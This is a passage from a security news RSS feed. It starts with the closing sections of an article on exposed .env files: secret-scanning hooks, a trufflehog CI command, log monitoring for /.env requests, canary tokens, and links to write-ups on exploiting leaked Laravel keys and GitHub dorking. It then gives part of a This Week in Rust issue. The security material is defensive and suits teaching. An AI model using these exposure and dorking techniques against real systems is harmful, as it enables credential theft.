false,<br>};</pre><h3>Prevention</h3><ol><li>Use a secrets manager — HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager</li><li>Implement .gitignore correctly and audit with git-secrets or trufflehog</li><li>Use pre-commit hooks to scan for secrets:</li></ol><pre># .pre-commit-config.yaml<br>repos:<br>  - repo: https://github.com/awslabs/git-secrets<br>    rev: master<br>    hooks:<br>      - id: git-secrets</pre><p>4. Rotate secrets regularly — If a .env file might have been exposed, rotate every credential in it immediately.</p><p>5. Scanner automation — Integrate secret scanning into CI/CD pipelines:</p><pre># TruffleHog scan in CI<br>trufflehog filesystem --directory=. --json | jq '.'</pre><p>6. Use ephemeral credentials — Short-lived tokens (IAM roles, OAuth2 token exchange) instead of long-lived API keys.</p><h3>Detection</h3><ol><li>Monitor for /.env requests in access logs</li><li>Use automated scanners like shhgit, trufflehog, git-secrets</li><li>Deploy canary tokens — Fake credentials placed in .env files that alert when used</li></ol><h3>Part VII: The 2026 Vibe Coding Problem</h3><p>The rise of AI-assisted development — “vibe coding” — has introduced a new dimension to the .env crisis. Research from 2026 shows that AI-generated code frequently makes mistakes that expose secrets:</p><ul><li>Hallucinated dependencies — AI tools generate package.json files with packages that do not exist in the registry, creating opportunities for typosquatting attacks</li><li>Hardcoded credentials — AI models trained on public code learn the pattern of hardcoding secrets and reproduce it</li><li>Source maps left enabled — Default build configurations generated by AI often leave source maps enabled for production</li><li>Missing server blocks — AI-generated deployment configs rarely include rules to block hidden files</li></ul><p>The fix: Treat AI-generated code as untrusted input. Audit every file for secrets before deployment. Use automated scanners in CI/CD.</p><h3>References</h3><ul><li><a href="https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/">Unit 42 — Large-Scale Cloud Extortion Operation via Exposed .env Files</a></li><li><a href="https://securityaffairs.com/188590/hacking/12-million-exposed-env-files-reveal-widespread-security-failures.html">Security Affairs — 12 Million Exposed .env Files</a></li><li><a href="https://snyk.io/articles/state-of-secrets/">Snyk 2025 State of Secrets — 28M Credentials Leaked on GitHub</a></li><li><a href="https://blog.sentry.security/abusing-exposed-sourcemaps/">Sentry Security Blog — Abusing Exposed Sourcemaps</a></li><li><a href="https://mogwailabs.de/en/blog/2022/08/exploiting-laravel-based-applications-with-leaked-app_keys-and-queues/">Mogwai Labs — Exploiting Laravel with Leaked APP_KEYs</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Web_Page_Content_for_Information_Leakage">OWASP — Review Web Page Content for Information Leakage</a></li><li><a href="https://github.com/techgaun/github-dorks">GitHub Dorking — techgaun/github-dorks</a></li><li><a href="https://www.invicti.com/web-application-vulnerabilities/dotenv-env-file">Invicti — Dotenv .env File Vulnerability</a></li><li><a href="https://vibe-eval.com/data-studies/frontend-secrets-leak-report-2026/">Vibe Eval 2026 — Frontend Secrets Leak Report</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vJZv0GNgEFzmfX6QmvfmOQ.png"><figcaption>Follow Me</figcaption></figure><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="https://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a><em> </em>| Facebook: <a href="https://www.facebook.com/Securi3ytalent/">Securi3ytalent</a> | Telegram: <a href="https://t.me/Securi3yTalent">Securi3yTalent</a></p><p>#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=60c4fd28ab4b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation-60c4fd28ab4b">Frontend Security &amp; Bug Hunting: The .env File Crisis and Real-World Exploitation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 654]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3571473/tools/this-week-in-rust-this-week-in-rust-654/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571473/tools/this-week-in-rust-this-week-in-rust-654/</guid>
<pubDate>Thu, 04 Jun 2026 07:06:19 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/06/02/launching-the-rust-foundation-maintainers-fund">Launching the Rust Foundation Maintainers Fund</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://blog.nlnetlabs.nl/one-year-of-roto-the-compiled-scripting-language-for-rust/">One year of Roto, the compiled scripting language for Rust</a></li>
<li><a href="https://crowecawcaw.github.io/general/2026/05/30/accessibility-for-computer-use.html">xa11y: cross-platform desktop automation via native accessibility APIs</a></li>
<li><a href="https://github.com/squidowl/halloy/releases/tag/2026.7">halloy 2026.7 - now supports IRCv3 reply, redact, metadata, bot mode and more!</a></li>
<li><a href="https://vorojar.github.io/md-preview/rust-webview-ai-docs.html">Building a Native Markdown Previewer for AI-Generated Docs with Rust and WebView</a></li>
<li><a href="https://lwn.net/SubscriberLink/1075067/6e0bbea2010794b8/">BPF in the agentic era</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://medium.com/@carlmkadie/nine-ways-to-do-inheritance-in-rust-a-language-without-inheritance-14825bf1e215?v=1">Nine Ways to Do Inheritance in Rust, a Language Without Inheritance</a></li>
<li><a href="https://kerkour.com/async-rust-cooperative-scheduling-tokio">Async Rust: deep dive into cooperative scheduling and Tokio's architecture</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://rustarians.com/r1cs-plonkish-air">ZK snarks for Rust developers: R1CS vs Plonkish vs AIR</a></li>
<li><a href="https://blog.sheerluck.dev/posts/learn-rust-closures-by-building-a-tiny-linter/">Learn Rust Closures By Building a Tiny Rule-Based Linter</a></li>
<li><a href="https://blog.sheerluck.dev/posts/learn-bevy-states-timers-by-building-snake/">Learn Bevy States, Timers, and Grid Movement by Building Snake</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=WTmjbKk1EIk">RustCurious lesson 8: Generics and Monomorphization</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#research">Research</a></h5>
<ul>
<li><a href="https://www.deepcausality.com/blog/counterfactuals-via-the-causal-monad/">Counterfactuals via the Causal Monad in Rust</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/manuelgdlvh/remyx">remyx</a>, a framework for building TUIs on top of Ratatui.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1608">Manuel Garcia de la Vega</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><a href="https://github.com/vorojar/md-preview/issues/19">MD Preview - Package MD Preview for Homebrew Cask</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/7">OpenSlate - Test Health Check Endpoint</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/8">OpenSlate - Test Login Endpoint</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/9">OpenSlate - Test Notes CRUD Endpoint</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/10">OpenSlate - Test Search Endpoint</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/11">OpenSlate - Test Preference Endpoint</a></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<ul>
<li><a href="https://scientificcomputing.rs/2026/submit-talk"><strong>Scientific Computing in Rust 2026</strong></a>| 2026-06-05 | Virtual | 2026-07-08 - 2026-07-10</li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>500 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-05-26..2026-06-02">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156649">expand async drops during drop elaboration</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156642"><code>offload_kernel</code> macro expansion</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154835"><code>std::offload</code> sharedmem</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156390">constify Iterator-related methods and functions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155849">move <code>IoSlice</code> and <code>IoSliceMut</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156634">specialize Clone of array IntoIter</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157065">stabilize <code>Path::is_empty</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156867">stop needing an alloca for <code>catch_unwind</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17033"><code>diag</code>: Add the <code>'cargo::default'</code> group</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17034"><code>diag</code>: Report summaries for <code>unused_deps</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17025">add <code>--output-format=json</code> to cargo doc as an unstable option</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17038">add edition for scripts anytime we mutate the manifest</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156851">avoid ICE when rendering body-less type consts</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157039">correctly propagate cfgs for glob reexports</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156401">deterministic sorting for <code>doc_cfg</code> badges</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157223">fix ICE on delegated async functions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157179">optimize impl sorting</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157171">separate the caches for synthetic auto trait &amp; blanket impls</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16244">add <code>unused_async_trait_impl</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16257">add new lint: <code>for_unbounded_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16052">added new lint for <code>map_or(..., identity)</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17116"><code>redundant_pattern_match</code>: improve suggestions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17112">faster <code>has_arg</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17132">fold all early lint passes into one statically-combined pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17124">fold all late lint passes into one statically-combined pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17134">memoize <code>first_node_in_macro</code> for consecutive queries</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17126">skip disabled off-by-default doc reparses</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22500">always use crates from sysroot in proc-macro-srv</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22504">enable salsa feature for syntax-bridge</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22498">also consider library features internal</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22508">do not fill both <code>drop()</code> and <code>pin_drop()</code> in the "fill missing members" assist</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22447">fix extract variable in token tree replace range</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22473">port block and loop inference from rustc</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22503">try to improve completion ranking</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22457">use add deref in assign instead add <code>&amp;mut</code> for value</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22506">kill proc-macro-srv processes on shutdown</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22477">remove direct use of make constructor with editor make</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22484">remove make from rename and prettify macro expansion</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week we saw nice wins across the board thanks to merging several compiler queries together (<a href="https://github.com/rust-lang/rust/pull/155678">#155678</a>), and also substantial improvements in <code>doc</code> performance thanks to
doing less work when sorting trait impls (<a href="https://github.com/rust-lang/rust/pull/157179">#157179</a>).</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=783eb8c8682ddde0807c60ed8293670ef523794f&amp;end=4804ad7e93e1b31f4605b7083871d0d3d85a2afe&amp;absolute=false&amp;stat=instructions%3Au">783eb8c8..4804ad7e</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.3%</td>
<td>[0.1%, 0.7%]</td>
<td>14</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.4%</td>
<td>[0.1%, 0.9%]</td>
<td>39</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-0.9%</td>
<td>[-6.8%, -0.2%]</td>
<td>111</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-1.1%</td>
<td>[-2.9%, -0.1%]</td>
<td>53</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-0.8%</td>
<td>[-6.8%, 0.7%]</td>
<td>125</td>
</tr>
</tbody>
</table>
<p>3 Regressions, 1 Improvement, 2 Mixed; 4 of them in rollups
35 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/4a082d37cfd5006c8313e55bab306ea41f091714/triage/2026/2026-06-01.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/147946">Tracking Issue for <code>strip_circumfix</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/127544">Tracking issue for CommandExt::show_window</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/147455">Tracking Issue for <code>path_set_times</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/152193">Tracking Issue for <code>nonzero_from_str_radix</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/156908">Tracking Issue for LoongArch CRC Intrinsics</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/149698">Tracking Issue for <code>Vec::from_fn</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155114">Add <code>Step::forward/backward_overflowing</code> to enable RangeInclusive loop optimizations</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156629">Stabilize <code>core::range::{legacy, RangeFull, RangeTo}</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/129090">Tracking Issue for box_as_ptr</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/116258">Tracking Issue for explicit-endian String::from_utf16</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/149543">Reduce <code>unreachable-code</code> churn after <code>todo!()</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155299">make repr_transparent_non_zst_fields a hard error</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/136469">Tracking Issue for algebraic floating point methods</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156188">riscv: promote d, e, and f target_features to CfgStableToggleUnstable</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/156203">Tracking Issue for <code>PathBuf::into_string</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/997">Desugar async blocks in HIR instead of MIR</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/996">Test new solver and polonius alpha on CI</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/994">Add <code>-Zllvm-target-feature target</code> *modifier* to directly set LLVM-level target features, and deprecate doing that with <code>-Ctarget-feature</code></a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/993">Set requirements for windows-gnu</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/988">Create a new Tier 3 target: <code>powerpc64le-unknown-none</code></a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/950">Add flag to pass MSRV/<code>package.rust-version</code> for use by lints</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/922">Optimize <code>repr(Rust)</code> enums by omitting tags in more cases involving uninhabited variants.</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/864">Promote tier 3 riscv32 ESP-IDF targets to tier 2</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/841">Proposal for Adapt Stack Protector for Rust</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/413">Can references to uninhabited types ever be valid?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a> or
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>.</em>
Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3966">BTF relocations</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3965"><code>--allow-unstable-flags</code>: Allow unstable flags on stable</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-06-03 - 2026-07-01 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-06-03 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/314691782/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-06-04 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455930/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-06-04 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/313345241/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-06-04 | Virtual (Tel Aviv-yafo, IL) | <a href="https://www.meetup.com/code-mavens/">Code Mavens 🦀 - 🐍 - 🐪</a><ul>
<li><a href="https://www.meetup.com/code-mavens/events/314979560/"><strong>Exploring FalkorDB - Learning to use a Graph Database in Rust</strong></a></li>
</ul>
</li>
<li>2026-06-06 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-07 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095285/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-06-08 | Virtual (Cardiff, UK) | <a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff">Rust and C++ Cardiff</a><ul>
<li><a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/315009040/"><strong>RustWeek Reflections</strong></a></li>
</ul>
</li>
<li>2026-06-09 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254780/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-06-09 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315060947/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-06-10 | Virtual (Girona, ES) | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/3bcnx1jb"><strong>Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-06-16 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/rdhhptyjcjbvb/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-06-17 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314000478/"><strong>Rust Study/Hack/Hang-out</strong></a></li>
</ul>
</li>
<li>2026-06-17 | Virtual (Girona, ES) | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ekws5nr4"><strong>Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314236370/"><strong>June, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455931/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-06-21 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329044/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254779/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
